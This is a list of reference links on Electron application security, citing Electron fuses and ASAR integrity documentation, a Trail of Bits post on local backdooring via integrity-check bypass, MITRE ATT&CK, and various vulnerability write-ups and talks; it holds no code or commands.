- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Mais pesquisas e artigos sobre segurança do Electron em [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)